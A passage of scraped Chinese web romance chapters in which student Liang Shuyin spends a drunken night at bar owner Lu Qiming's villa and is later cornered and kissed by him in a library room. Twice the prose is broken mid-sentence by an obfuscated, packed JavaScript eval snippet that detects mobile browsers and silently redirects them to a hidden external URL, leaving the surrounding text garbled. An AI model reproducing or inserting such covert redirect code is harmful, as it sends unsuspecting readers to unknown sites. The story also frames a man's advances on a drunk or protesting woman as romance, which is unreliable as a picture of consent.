被他握过的手,还残留着他的体温,她蜷起指尖,将那抹热意紧紧攥在掌心。 走神之际,面前忽然投下一道人影,以为是他,猛然抬头,撞见的却是一张陌生面孔。 “小美女,一个人在这儿呢?”一个中年男人色迷迷地望着她。 这条酒吧街,什么样的人都有,她既没惊慌,也没搭理对方,拿着包起身,准备离开。 那人却拽住她手腕,“哟,脾气还挺大的。” “放开。”她低呵对方。 男人非但没放手,反而扑过来,从背后一把抱住她。 一阵恶心的酒气袭来。 她屏住呼吸,强迫自己冷静下来,“我男朋友就在附近,你要是不想被打,就放手。” “是么?” 男人不大相信,一只手在她腰上乱摸,“那他在哪儿呢?他很厉害吗?” “他就在对面酒吧。”她用力去掰男人粗糙的手,“他是酒吧老板。” “MATA的老板是你男朋友?” 男人指尖刮过她白嫩的脸,调侃道:“我还说他是我爹呢?” 他话音刚落,梁舒音就听到耳边一声 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头顶却忽然传来意味深长的笑,“男朋友?” 她脸颊发烫,却也不甘示弱,仰头跟他杠上,“爹?” 陆祁溟别开视线,笑出了声。 手腕上还挂着件外套,他拿起来抖了下,披在她肩上,将她整个人都包裹了起来。 “别着凉了。” 原来是进去给她拿衣服了。 “我不冷。”她拽着领子想把衣服脱下来。 他外套实在太大了,穿在她身上拖泥带水,一点也不利落。 “听话。”陆祁溟不容置疑。 她身上就一条吊带,一个几乎透明的开衫,她都不知道这一晚多少臭男人的目光黏在她身上。 被他这么一斥,她微怔了下,莫名松了手。 然而,将手伸进他宽大的袖筒时,借着光,忽然扫到他颈侧的一抹红。 也没多想,她踮着脚,偏头凑到他脖颈处,“陆祁溟,你流血了。” 女孩带着香味的呼吸扫过他锁骨处,温热的,勾得他喉头干燥,心里发痒。 没得到回应,梁舒音偏头瞧他,却发现男人正垂眸盯着自己。 眸色像这浓黑的夜色一样晦暗。 意识到什么,她后退半步,“附近好像有药房,我去给你买点药。” “不用了。”陆祁溟拽住她,“我叫人送过来。” 重新坐回椅子上,两个人都有些不自然。 还好,没几分钟,酒吧的人就送了碘伏和棉签过来。 陆祁溟将东西扔给她,“给我上药。” 在她拒绝前,他又及时补充了句,“我看不见伤口。” 梁舒音瞄他一眼,也没多说什么,拆开了那个袋子。有了刚才的教训,上药时,她刻意拉开距离。 “隔那么远干嘛,怕我吃了你?”陆祁溟觉得有些好笑。 她也不回答,直接用手上的棉签用力按压,男人“嘶”了声,一把扣住她后脑勺,将人贴近自己。 “挑衅是吧?” 他目光落在她唇上,接着又缓缓上移,掠过她小巧的鼻尖、眼睛。 这一晚上的暧昧发酵,没得到释放,心里都有些受不住。 在他急促的呼吸靠近时,梁舒音抬手,用掌心挡住了他的吻。 他却抓着她送上来的手腕,顺势在她掌心亲了下。 手心的灼热濡湿,让她心头猛地一跳,像被火烧似的,立刻撒了手。 然后故作镇定地拿起一旁的酒,也没仔细看,仰头就自顾自地灌了两口。 辣得她咳嗽起来。 在陆祁溟欲言又止的神色中,她才意识到,自己喝错了。 那是他的威士忌,酒烈,她喝得又急,很快便酒气上涌,浑身燥热了起来。 醉后的她是什么样,陆祁溟清楚得很,他对自己的自控力也没那么自信。 这样下去铁定会出事,他将她拉过来,哄道:“走吧,送你回家。” 微醺的人却仰着小脑袋,眼神迷离地望着他,那双极美的狐狸眼,眼尾像钩子,栽进了他心底。 她没动,只握着他的手,将他双手贴在她发烫的脸颊上。 “陆祁溟。”她眨了眨眼,呢喃道,“我没有家...” 心头被莫名拉扯了下,很不舒服,陆祁溟知道那是一种名为心疼的滋味,他眉心下压,满眼疼惜地盯着怀里的人。 即便屡次拒绝他的帮助,但他看得出,她今晚的孤独和彷徨。 让她回家一个人呆着,他也的确不放心。 “梁舒音。” 他双手捧着她的脸,低沉嗓音滚落她耳边,不急不迫,带着徐徐图之的温柔。 “要跟我走吗?” 35. 这夜 夜色中,黑色跑车往郊区别墅疾驰而去。 陆祁溟看了眼副驾驶的人,她乖乖靠在椅背上,脸侧对着窗外,他看不见她的表情。 几分钟前,他问她要跟自己走吗? 她用一双眸光潋滟的眼睛望着他,软糯糯地给出两个字的回应。 “好啊。” 他这并不算趁人之危。 他只想她今晚能好过些,起码有他陪着,她没那么难受。 脚下油门一踩,跑车在寂寥深夜划出肆意的爆音。 进了门,灯一亮,怀里被他搂着的人像是忽然清醒了过来,推开他,颤颤巍巍往前走了两步。 环视四周,她扯掉外套,扭头看他。 “陆祁溟。”她舔了舔唇,“我口渴了。” 喉头微微滚动,他从她唇上移开目光,伸手去牵她。 “跟我过来。” 然而,他去厨房给她拿水时,身后的人却不知何时打开了冰箱。 将整颗脑袋都埋了进去。 两秒后,她心满意足地从里头拿了瓶冰水出来。 “别喝冰的。” 他无奈一笑,将她的冰水没收,拧开手头那瓶常温的,一手扶着她后颈,一手将水递到她唇边。 “来,喝这个。” “哦。” 半醒的人就着他的手,仰头乖乖喝了起来。唇很快被润湿,光莹饱满,像亟待被攫取的花蕊。 她喝得很慢,小口小口吞咽着,也不知在想什么,眼睛半睁半阖。 喝得差不多了,她突然仰头看他,发现他正紧盯着自己,确切地说,是盯着她的唇。 “你也口渴了吗?” 她下意识开口,好心地将刚喝过的瓶子递过去,“要喝吗?” 陆祁溟低头瞄了眼瓶口的口红印,还没来得及回复,她已经抓着他手腕,踮起了脚尖。 女孩带着香味的滚烫气息,毛茸茸地挠着他下巴。 弄得他皮肤痒痒的,心头也痒痒的。 喉头下意识滚动,就见她将视线锁定在他唇上,慢慢贴近。 他没阻止她,只伸手扶稳她后腰,等着她将甘甜果实送上来。 呼吸越来越粗重时,她却突然停住,脚落地,脑袋抵在他胸口,轻声呢喃。 “不可以。” “为什么不可以?” 他微顿,伸手抚摸她后脑。 “因为我们…” “嗯?” “因为我和你…” 她讲剩下的话吞进腹中。 陆祁溟正好奇她后的半句话究竟是什么,就听她可怜兮兮地开口央求他。 “陆祁溟,你能抱抱我吗?” 他将她手头的那瓶水搁在果蔬台上,骨骼宽大的指节握住她肩膀,将人缓缓带进自己怀里。 “这样可以吗?” 他轻拍她后背,放低放缓了声音,不知为何,连呼吸都变得小心翼翼起来。 “可以再抱紧一点吗?” 怀里的人动了下,将小脸贴在他宽硕的胸口,滚烫的呼吸隔薄薄T恤,烙在他的皮肤上。 他深吸口气,“好。” 贴在她腰上的手慢慢收紧,他试着一点点调整距离,他宽大的身形几乎将她窄瘦的身体,全然包裹了起来。 两人之间再没有多余的空气。 但这太考验他的自制力,女孩身体绵软,发间的香味几乎让他迷醉。 梁舒音在他怀里充满了安全感,失落的一颗心渐渐被填满。 却不知,为她提供充盈感的男人,此刻正浑身发烫,手背青筋凸起。 就在陆祁溟觉得下一刻就要爆裂开来时,身下的人突然喃喃开口,微颤嗓音在他耳畔溢出。 “陆祁溟。” “嗯?” 他喑哑回应。 “我好喜欢...” 他顿了下,低头看她,“什么?” “喜欢...” 她微偏了头,透过他的肩骨上方,看向玻璃窗外那轮亮白的月。 “喜欢今晚的月色。” 他盯着她迷茫的脸,手指勾起她耳边的一缕发丝。 “还有,你的酒。” 他低笑一声。 “还有,你说的那些话。” 她收回视线,眼神黏黏糊糊地盯着他,“我都不知道,不知道自己原来自己还挺不错的。” “还有呢?”他循循善诱。 “还有...”她望着他,醉意迷里的眼角微微濡湿。 然而话音未完,就一头栽倒在了他的怀里。 睡着了。 他握着她后颈,无奈一笑。 喜欢他的酒、他的话,偏就是没有他这个人。 他低头看着怀里双颊酡红的人,忍不住亲了亲她耳朵,然后就那样安安静静地搂着睡着的人,下巴搁在她头顶。 风微凉,月色皎洁无垠,照亮那些不可言说的彷徨。 欲望已经彻底平复下来,陆祁溟将她嵌入怀里,感受着无关情|欲的温情。 他不知道她今晚的低落,是否跟她父亲和李明德有关。 她不愿意透露分毫,他自然也不会主动去戳她伤疤。 “睡吧,好好睡一觉。”他轻拍她后背,低声耳语,“把不愉快的事统统都忘掉。” “如果忘不掉,记得回头。” 他会一直在她身后。 -- 陆祁溟洗完澡出来,下意识瞄了眼床上的人。 那件薄薄的开衫不知何时被她脱掉,唯一的吊带裙也随着她翻身的动作上移,刚好盖住大腿根。 吊带一侧的带子滑落,肩线以下的风光,若隐若现。 他移开视线,回浴室拿了张干净的新毛巾,去给她擦身体。 毛巾落在她光洁的额头上,陆祁溟细细凝试她精致的五官。 好看的人他见过太多,但她的美却很独特。 也许是参杂了私人感情,他觉得她就像是这世界唯一的一朵玫瑰。 没人能比她更美。 擦了脸,又替她擦手,他这才发现她左手掌心贴了张创可贴。 他轻轻撕开创可贴。 伤口在虎口下的位置,大约两厘米,看起来像是刀伤,刚受伤没多久的样子。 也许是削水果时不小心划伤的。 他起身去药箱里找了新的创可贴,刚替她换上,床上的人忽然抬手,一把搂住他脖子。 “陆祁溟。” 她语气带着半梦半醒的微哑。 “怎么了?” 他握住她手腕,想检查下创可贴的位置,身下的人忽然一个翻身,直接将他压在下面。 她在上,他在下。 她绵软的身体毫无阻隔地压下来,体内一股热流直冲天灵盖,他下意识闷哼一声。 也许是觉得男人的骨架太硌人,女孩不满地嘟囔了下,又一个翻身,从他身上滚了下去。 陆祁溟紧绷着下颌线,等粗重呼吸平缓下来,才起了身。 他瞄了眼旁边的人。 在床上这么滚了几次,她身上的衣服早就不成样子,他拉过被子,将她盖得严严实实。 瞥了眼身下,他脸色难看地去了浴室。 -- 早上醒来,口干舌燥,脑袋也胀痛得像是要爆炸。梁舒音掀开被子,半眯着眼睛,下了床。 刚走了几步,她脚下一顿。 卫生间怎么换地儿了? 也许是自己脑子不清醒,她没想太多,推开了卫生间的玻璃门,哗哗水声顿时冲进耳朵里。 她下意识抬头望去,水雾弥漫的淋浴下,有人正在洗澡。 男人微仰着头,任由水流自头顶往下。 顺着他下颌线,滑过喉结,坠落到常年健身的胸肌,再从人鱼线往下... “看够了吗?” 男人低沉的嗓音冲破水雾,打碎她的恍惚。 原来不是梦。 对上他晦暗的视线,她猛地清醒过来。 “啊——” 尖锐的惊叫声顿时响彻清晨七点的别墅。 -- 国庆第二天,梁舒音大清早便去了趟高铁站,送林语棠回家。 林语棠之前跟她奶奶撒谎,说不回家是因为要兼职,结果奶奶放心不下她,昨天突然提出要来虞海看她。 怕老年人来回折腾出毛病,林语棠昨晚一退烧,就连夜定了高铁票。 两人走到检票口,林语棠担心地看着她,“音音,还有机会的,你别着急。” 李明德的事,即便梁舒音只字未提,林语棠也从她低落的神情中猜到了几分。 高铁站的等候区,有一面巨大的落地窗。 窗玻璃外,一轮红日升起,将天空晕红。 梁舒音盯着那片热烈的红,微微点头,像是在宽慰自己,也在安慰对方。 “嗯,都等了这么久了,不差这一时半会儿。” 林语棠刚要进检票口,陈可可就从入口处冲了进来。 太着急了,她脑袋上那个小电驴的头盔也没摘,手头拎着个打包好的食盒,气喘吁吁跑过来。 “还好赶上了。” “棠棠,你病了吃不了油腻的,这是我早上做的蒸饺和瘦肉粥,你带着,在车上饿了吃。” 林语棠盯着满头大汗的陈可可,吸了吸鼻子,感动地接过来。 “可可,你真好。” “是吗?” 陈可可哼了声,“那你们还瞒着我单独行动。” 昨儿她回宿舍拿东西,撞见林语棠发烧,就送她去医院打点滴。 人一生病,警惕性就降低,没几句话,林语棠就把李明德的事说漏了嘴。 “也不是故意瞒你。” 梁舒音在边上哄她,“这不是怕你知道了,担心吗?” “是怕我非要跟着你去,拖你后腿吧。” 梁舒音弯了唇角,“这都被你发现了。” “你!” 陈可可气得跺脚,撇着嘴,一脸委屈地看向林语棠。 “音音开玩笑的啦。”林语棠也噗嗤笑出了声。 “是啊。” 梁舒音一手搂过她的肩,一手捏着她肉嘟嘟的脸,“我们可可这么聪明能干,怎么会拖后腿呢。” 陈可可撅嘴哼了声,没理她,拍了拍林语棠的书包,“棠棠你快走吧,别误车了。” 林语棠恋恋不舍地拥抱两人,一步三回头,终于进了站。 人来人往的车站,陈可可被梁舒音挽着,没几分钟就被糖衣炮弹给哄好了。 “这次原谅你,你发誓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梁舒音:“...” 忙了片刻,就见李诗诗送完园区的外卖回来。她推门进来,一看见操作台的人,被太阳晒蔫儿的眉眼,顿时生动起来。 “音音!” 李诗诗冲过来,一把抱住她,“我还以为你不会再来了呢,我可想死你了。” “想我可以。”她偏头开玩笑,“死就算了。” 两人聊了会儿彼此的近况后,李诗诗瞥了眼对面正在装修的咖啡店。 “音音。” 她瞄了旁边人一眼,眼里藏不住吃瓜的兴奋,“昨天对面那个老板来买咖啡,好像在找你哎。” 梁舒音“嗯”了声。 这么冷淡? 李诗诗看她一眼,“他还没把你追到手呀?” 上回梁舒音出事,她找陆祁溟帮忙,原本只是想碰运气,结果人急成那样,差点没把那个音乐工作室给拆了。 后来她跟着去了医院,看见他那副紧张的样子,就知道他对梁舒音是来真的。 只是没想到这么一出轰轰烈烈的英雄救美戏码,竟还没把她拿下。 神游时,梁舒音戳她胳膊,打断她的遐思,“有外送订单了。” 李诗诗“哦”了声,边打单子,边问她:“陆祁溟还有没有其他朋友,跟他一样帅的?” 梁舒音想起了秦授,但很快就在心里否定了这个人。 “没有。” 没曾想,说曹操曹操到。 下一刻,她们就瞧见秦授搂着一个长腿大胸的美女,推开了对面的门。 两个姑娘相视一笑。 “算了。” 李诗诗一脸嫌弃,“情种的朋友也有可能是个海王,或者浪子。” 梁舒音没注意她在嘀咕什么,下意识看向对面,像是在搜寻什么。 然而,直到大门再度被关上,她也没瞧见熟悉的身影。 莫名松了口气。 她这个人酒品不好,但记忆力偏又不错,每次酒醒,都记得自己干过什么蠢事儿。 她清楚记得,昨晚在他家厨房,她差点又亲了他,还开口跟他索要一个拥抱。 也记得今早那个仓惶的场景,以及他当时晦暗复杂的表情。 错愕是有的,但更多的是玩味,又或是在观察她的反应。 她看着水流顺着他紧实的人鱼线往下,她撞见了不该撞见的地方。 即便知道那是男人清晨的本能反应,但她还是被吓到呼吸凝滞。 不仅是因为第一次看见货真价实的实物,也是因为... 那样的尺寸... 然而,胡思乱想的人,全然没注意到推门进来的客人。 眼风无意识落在客人的长腿上。 直到听到李诗诗那句高昂的“欢迎光临”,她才回过神来,意识到目光落定的地方,似乎不太礼貌。 她将视线上移,猛然一怔。 陆祁溟似笑非笑盯着她,慢条斯理从门口走过来,屈指敲了下点单台。 “刚看哪儿呢?” 36. 暗室 梁舒音没理会他的揶揄,一双眼清清冷冷看着他,客气而疏离地开口。 “请问您需要喝点什么?” 陆祁溟微挑眼尾,审视地盯着她。 昨晚还粘在他怀里的人,现在就跟不认识的陌生人似的,调侃她一句,连个好脸色也不给。 还好他早习惯了她这翻脸不认账的性子,也没跟她计较。 手机随意地在指尖翻转,最后落定在点单台上,砸出不高不低的响动,他撩起眼皮看她,眼风略带压迫感。 “两杯美式。” 扫码付款后,又补充了句,“打包好了,给我送到对面来。” “好。” 她没看他,点完单就转身去了操作台。 陆祁溟盯着某个胆小鬼的背影,低头笑了下,没多说什么,离开了咖啡店。 待男人走了,一旁的李诗诗猛戳她胳膊。 “这么近还让你送过去,他不会想上演什么强制爱的戏码吧?” 梁舒音四平八稳道:“诗诗,你有时间看那些狗血剧,不如多刷刷单词。” “不然啊,你今年四级又该考不过了。” 一提到两次都没考过的四级,李诗诗嘴一撇,果真连八卦的心都没了。 咖啡做好后,梁舒音拜托李诗诗帮忙送过去。 “音音,我还要背单词呢。”李诗诗装模做样摸出耳机,“不然今年四级该考不过了。” 搬起石头砸了自己的脚,梁舒音叹口气,看了眼对面,脱下了工作服。 只能亲自去送了。 一楼正在装修,她环视一圈,没见着人,正要开口询问,就收到条信息。 “二楼。” 上了二楼,听到他接电话的声音,她循声而去,就见陆祁溟立在里头一间房的窗边。 那个窗户对着咖啡店,几乎将店里的情况看得七七八八。 难怪他知道她过来了。 男人穿着白色衬衫和黑色笔挺的西裤,本就很高的个子,在正装的衬托下,愈发挺拔。 衬衫解开了上面两粒扣子,袖口挽起,小臂的肌肉线条隐约可见,随性散漫中又有种莫名的性感。 那间房还没装修,只有自然光,他身体隐匿在半明半暗中,她只看到他的侧脸。 眉头微蹙,眼神盯着窗外某处,冷冷淡淡的样子莫名有点凶。 男人指尖夹着烟,在烟灰缸里轻点了下,开口时语气凌厉。 “需要我教你做事?” 工作中的他跟私底下似乎不一样。 有种六亲不认的狠厉。 梁舒音想趁他接电话时,放下东西就溜,结果男人听到动静,转头看过来,迅速掐断了电话。 “好了,就这样,改天再说。”语气稍微缓和了些。 他摁灭指尖的烟,扔进烟灰缸里,抄着手朝她走了过来。 “这是您的咖啡,请慢用。” 梁舒音将东西递过去,视线落在他下巴的位置,没跟他对视。 “谢谢。” 他伸手接过去,随手搁在一旁的桌上,垂眸看她,“怎么,连人都不敢看了?” “被占便宜的是我,你别扭什么?” 她随即将视线上移。 目光掠过他薄薄的嘴唇,高挺的鼻梁骨,定在他那双似笑非笑的眼睛上,狠狠地剜上一眼。 “今早的事是我莽撞了,但昨晚我喝醉了,你不也占了我便宜?” 话一出口,她猛然意识到不对劲。 他是抱过她,但那也是她主动开口索求的。 而刚刚这话,也不过是证明了,那些酒后的旖旎暧昧,她统统都记得。 听见她的话,陆祁溟果真弯了弯唇角,“看来梁同学的酒品也没那么差,起码…” 他稍稍一顿,眸色深沉,“还记得我们做过什么。” 她怎么听不出,他故意将“做”字咬得很重。 配合着他极具颗粒感的嗓音质地,她头皮瞬间发麻发紧。 “我跟你做什么了?不就抱了下,摸了下嘛,又没把你怎么样——” 她忍住了想冲口而出的辩驳。 因为怕掉入这个男人的语言陷阱,她索性直接装死,盯着地面,没回应。 见她不吭声,陆祁溟持续逼近,“不过,你知道的,我一直都很愿意负责,虽然只是一个…” 他敛去笑,那双紧盯着她的眼,倏然严肃起来,“虽然只是一个超过正常距离的...拥抱。” 从夏到秋,他已经数不清表白过多少次了,就算是心肠再硬的人,也早该被他打动了。 然而,梁舒音却像是没听见这话,她抬起头,神色漠然地望着他,一副公事公办的姿态。 “咖啡已经送到,我该回去工作了。” 陆祁溟这回没为难她,只是盯着她的背影,在心底沉沉叹了口气。 追她简直比做生意,比投资还难。 他这辈子,好像还没这样碰过壁。 他无奈地勾了下唇,从纸袋里拿出她亲手做的咖啡,喝了口,走到窗边,低头看下去。 十几秒后,女孩的身影出现在楼下。 她今天扎了马尾,修长后颈莫名透着股倔强,跟她这个人的脾气如出一辙。 分明对他有情,却还是一如既往地,利用完他就不认账,他就没见过比她更矛盾、更口是心非的人了。 回到咖啡店,没几分钟,梁舒音接连就收到他的两条信息。 “出差一段时间,自己凡事小心,有事电联。” “当然,没事也欢迎随时骚扰。” 她盯着手机,也不知道在想什么,直到被对面引擎发动的声音唤醒。 跑车里的男人,似乎偏头朝她这里看了一眼,然后脚踩油门,车倏地消失在她的视线里。 还真是嚣张,车都开到园区里来了。 她将手机收回兜里,转身去帮做下一单咖啡了。 -- 一阵秋雨后,天气彻底凉了下来。 国庆收假,梁舒音提前一天回了宿舍,其他人还没来,她照例先打扫了卫生,把床单被套都换了,才坐下来歇口气。 想起什么,她点开了手机里的课表。 明晚又是戏剧赏析课。 脑子里骤然浮现一张眼角长了皱纹的脸,那张脸凑近了她,气息喷到她耳朵上,镜框底下的眼睛冒着精光。 一阵恶心涌上,后背冒出虚汗,她扔下手机,冲去阳台,拧开了水龙头。 也不知冲洗了多久,心跳才平缓下来。 然而,第二天晚上的戏剧课,来的却不是李明德。 他出差去了,找了另外的老师来代课。 至于是一周两周,还是一个月两个月,代课的老师也不太清楚。 她莫名有些烦躁。 红色水笔把纸穿透时,一旁的林语棠推了推她胳膊,“音音。” “你笔尖好像要断了。” 反应过来后,她松了手,歪歪扭扭的红色笔尖彻底失去依托,脱离笔干,掉了下去。 米粒大小的红,锐利又孤独地缀在纯白笔记本上。 下课铃声适时响起。 “我没事。” 她朝林语棠扯了扯唇角,将书和笔一股脑扫进包里,“我有点事,先走了。” 不等林语棠再说什么,她就拎起书包,快步离开了阶梯教室。 漫无目的在校道上走着。 夜色中,不少情侣挽着手,亲昵地依偎在一起,说着甜言蜜语,打情骂俏。 她忽然想起了陆祁溟。 这几天,他都没联系过她,而她也不可能主动联系他。 慢慢地,就会淡吧。 路过商业街,她买了瓶青柠水,又给逃课被摄影系拉去当模特的陈可可、以及刚刚被她吓到的林语棠都买了杯饮料。 吸管插进塑料杯里,她抬头望着天上的月光。 从古至今,这轮明月从未暗淡过,恒古绵延,从古人的眸中来到了此刻她的眼底。 也许,她也应该再耐心点。 她将整瓶青柠水灌下,瓶身捏扁,扔进了垃圾桶里。 北方天气干燥,陆祁溟在崇洲这段时间,嗓子一直干涩难受,再加上手头要处理的事纷繁复杂,每日周旋在各色人心中,休息时间少得可怜。 崩得太紧,铁打的身体也有些熬不住。 此刻落地虞海,这座南方城市秋日的温润,替他洗去了不少连日来的疲惫。 “老板,李老刚电话来过,愿意放弃股权,只求您能放他一马...” 副驾驶的赵赢转头看向轿车的后排。 他的老板陆祁溟正对着笔电查看邮件,一脸冷淡,气压很低,连带着周边的空气都要结冰了。 “求您能放过他。” “放过他?” 陆祁溟头也没抬,修长手指噼里啪啦在笔电上敲击着,嗓音平稳又狠厉。 “他这些年收受贿赂、挪用公款、搞烂尾楼、霸占有夫之妇、逼人跳楼,桩桩件件都够他吃一壶了,蛀虫当久了脸皮倒是比城墙还厚了。” 话已至此,赵赢在心里为李老默哀。 “好的老板,我知道了。” 转回身,赵赢擦了把额头的冷汗。 他之前一直呆在徐方集团的总部,没接触过这位陆少,只听说是个不学无术,又极难伺候的主。 这段时间跟着他,见识了他缜密的商业头脑,说一不二的狠厉手腕,赵赢才知道传言有多离谱。 不过他心底倒也踏实了,有他和傅老坐镇,徐方集团就乱不了。 “对了,傅叔。” 陆祁溟关上电脑,跟旁边一身儒雅的人说:“我呆会还有点事,晚点再去我妈那里。” “嗯,你去忙,小婉那边我先过去看看。” 这趟回来只有两天的时间,之后他们会再度返回崇洲,去做一些收尾工作。 傅清尘难得有空,便跟着过来,想去探望祁婉。 他看向陆祁溟,眉宇间透露着担忧,“对了,她情况怎么样了?” “清醒的时候一切如常,但...”陆祁溟揉了揉眉骨,欲言又止。 傅清尘拍他肩膀,“没关系,我相信她总有好的一天。” “傅叔谢谢你,谢谢你这些年对徐方集团的付出。” 陆祁溟语气诚恳,眼底的感激也是发自肺腑的。 “如果不是你,恐怕集团现在已经凶多吉少了。” “祁溟。” 傅清尘看着他,微微摇头,只简单吐出几个字,“见外了。“ 然而,只有他知道,这三个字的份量有多重。 傅清尘一直未婚,将所有的精力都献给了徐方集团,他知道,那是因为对母亲的那份情。 家里出事后的那两年,他过得浑浑噩噩,什么徐方,什么陆海,他压根不想管。 是傅清尘一直守着徐方,在集团摇摇欲坠时不离不弃,耗尽心血守住了外公外婆和母亲留下的这份家业。 只是后来,集团内部分化严重,群龙无首,岌岌可危。 老一辈的那帮亲信,不愿让陆延盛插手,唯一能接受的只有他,祁婉的独子。 哪怕他从小在虞海长大,跟崇洲那帮人并不亲近,但他血脉正统,看起来又没什么野心, 是最容易掌控的傀儡。 于是,他将计就计,假意成为别人的棋子,也借机跟傅清尘暗地里谋划了这一出戏。 一年了,终于收网,将那些贪得无厌的蛀虫,通通清理了出去。 而这次的人事震荡,又牵连诸多投资上的问题,徐方集团看似损失惨重,但其实,获得了新生。 “对了,听说你最近在查凌氏?”傅清尘开口问他。 “嗯。” 陆祁溟盯着窗外疾驰而过的景色,刚舒展的眉头再度蹙起,“一点私事。” 见他没多说,傅清尘也没多问,只道:“有什么需要帮忙的,随时开口。” “谢谢傅叔。” 话题到了这里,陆祁溟自然想起了一个人。 这么久没联系,不知那个没心没肺的姑娘,是不是又把他给忘了。 他摸出手机,发了条信息出去。 -- 这学期课不算多,但为了拿奖学金,梁舒音从未懈怠过,课余时间几乎都泡在图书馆里。 看书、做作业、偶尔也替一些专栏写文章赚外快。 专业书看累了,就去借阅室找小说消遣。 偶然看见借阅室门口放了个兼职的招聘启示,她便去咨询了下。 双方一拍即合。 事情不算太多,只负责整理书架,把还回来的书归类放回书架上。 每天中午一个半小时,每周去三次。 和她搭档的是数学系的一个男生,叫周毅,人高马大,说话逻辑严谨,还是学校辩论大赛的冠军。 只是,他私下的爱好,就跟本人有极大的反差。 周毅喜欢烹饪,加入了学校的美食社,最近又在研究各种甜点,图书馆里的人几乎都成了他的小白鼠。 愉快合作了一周,周四这天,梁舒音在食堂吃完午饭,就照例去了图书馆。 刷卡进门时,兜里的手机响起,摸出来看了眼,是条信息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450576|134839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “在哪儿?” 瞥见发信人时,她有片刻的恍惚。 已经小半个月没联系了,再看到对话框上陆祁溟这三个字,心跳莫名踩空了下。 还没回复,一通电话就进来了。 她没多想,敲下“图书馆”三个字回复过去,然后接起了电话。 电话是班长孟超打来的。 他这周末生日,打算请班里的同学去吃饭,问她有时间没。 孟超平时对她不错,她没理由拒绝。 “有时间的,班长。” 两人闲聊了几句,挂断电话后,她在二楼走廊被周毅叫住。 他拎着个巴掌大的草莓蛋糕给她,“我看你最近心情不太好,吃点甜的兴许就高兴了。” 她盯着那块草莓蛋糕,神色微顿。 知道他单纯在做甜点实验,送她蛋糕并没有其他意思,不忍心辜负他的好心,她接了过来。 “谢谢你,周毅。” “客气。”周毅十分义气地道,“要是喜欢,我下次再给你带。” “不用了。” 怕对方多心,她解释了一句,“我怕长胖。” 虞大老校区的图书馆不算大,借阅室分了里外两个空间,中间有桌椅沙发隔开,旁边还有个几平米的休息室,专门提供给兼职的人休息。 她将书包和蛋糕都放进休息室后,开始整理推车上的书。 中午几乎没人,她效率很快,外间整理完,她推着推车去了里面。 里间是些生僻的小众书籍,手头这本的位置在书架上方,有点高,她踮脚尝试了下。 够不着。 正准备去找梯子,身后烟草混合松木的熟悉气息靠近,一只骨节分明的手抽走她掌心的书。 轻而易举地,替她将书塞回了原位。 她微怔,转头看向后面的男人。 陆祁溟居高临下睨着她,脸上没什么表情,但眉宇间的不悦,却是很明显。 “你...” 怎么来了。 话未说完,就被他拉进了一旁没有监控的休息室。 休息室只有三四平米,空间狭小,没开灯,借着门缝里漏进的些许光线,能勉强看清对方。 梁舒音没料到他会在图书馆乱来,被他拽进去,她懵了一瞬。 等反应过来,已经被困在男人双臂的牢笼里。 他身上还穿着出差回来的黑色衬衫,被她一拽,原本就解开了一枚扣子的领口微微敞开,隐约可见鼓起的胸肌。 半挽的袖口下,遒劲有力的小臂撑在她两侧。 衬衫于他是绅士的伪装,但真正的他是什么样,她是见过的。 光线昏暗的空间里,彼此的呼吸耳鬓厮磨,热气缠绕,暧昧游走在每一个毛孔。 门没锁,随时会有人推门进来。 或许是搭档,或许是图书馆的老师。 如果被撞见,她大概会被认为是行为不端,作风不良的女学生。 危险叠加,她连呼吸都急促了,掌心贴在男人的胸口,推拒着提醒他。 “这里是图书馆,你疯了吗?” 陆祁溟恍若未闻,垂眸睨着她,不答反问:“喜欢吃蛋糕?” “什么?” “所以你喜欢那样的男人?” 这时,门外突然有脚步声响起。 梁舒音心口猛然一提。 她屏住呼吸,听着门外的动静。 还好,那人只是路过了这里,朝着图书馆深处走去。 直到脚步声走远,她才强迫自己镇定下来,但已有些恼怒。 “陆祁溟,你到底在说什么?” 男人靠近了,声带里的颤动刮过她耳膜,“那怎么办,我要去学做蛋糕吗?” “蛋糕可以学,可我天生性子阴暗,好像没办法变得那样阳光。” 她这会儿终于明白他的意思了。刚才周毅送她蛋糕,他看见了,也误会了。 没什么好解释的,但心跳如鼓擂动,她只想快点脱身。 梁舒音看着他,顺着他的话继续往下。 “你不用为我做出任何改变,这世上还有很多比我更好的女孩,值得你去喜欢。” 男人眸色暗了暗,嘲讽似地轻笑,“是啊,有那么多性格比你好的人。” “可我为什么偏偏只喜欢你呢。” 不知为何,他这副顽劣又哀伤的样子,让她心底被什么锋利的东西划拉了下。 隐隐有些不舒服 “陆祁溟,你别这...” 张嘴的瞬间,灼热的气息忽然靠近。 她偏了头,抓在他领口处的手,下意识用力一拽。 像是虚晃一枪,男人却并未亲下去。相反,他的真丝衬衫被她往下一拉,接连几颗扣子都崩开了。 男人动作一顿,低头瞥了眼胸口,散漫轻笑,“衣服都快被你扒了。” “想看,我可以光明正大地脱给你看。” 她回过神来,对上他漆黑深沉的眼眸,顿时撒了手。 男人却一把抓住她的手,扣在头顶,不等她反应,唇已经被他封住了。 门外猝然响起周毅的声音,“梁舒音,你在里面吗?” 面前的男人唇粘上她的,轻碰了下,又离开。鼻尖亲昵地蹭着她的脸颊,故意似的,哑声提醒她。 “他在问你呢。” 他呼吸滚烫,她鼻尖被他蹭得微微冒汗。 “周毅,我——” 张嘴的瞬间,男人唇舌探进她口腔里,这回不再是浅尝辄止的试探,他含着她的唇瓣,用力吸允。 他承诺过不会强迫她,但如果她另有心思,或是身边出现其他男人,他从前的那些话,就只有作废了。 毕竟,他的耐心是有限度的。 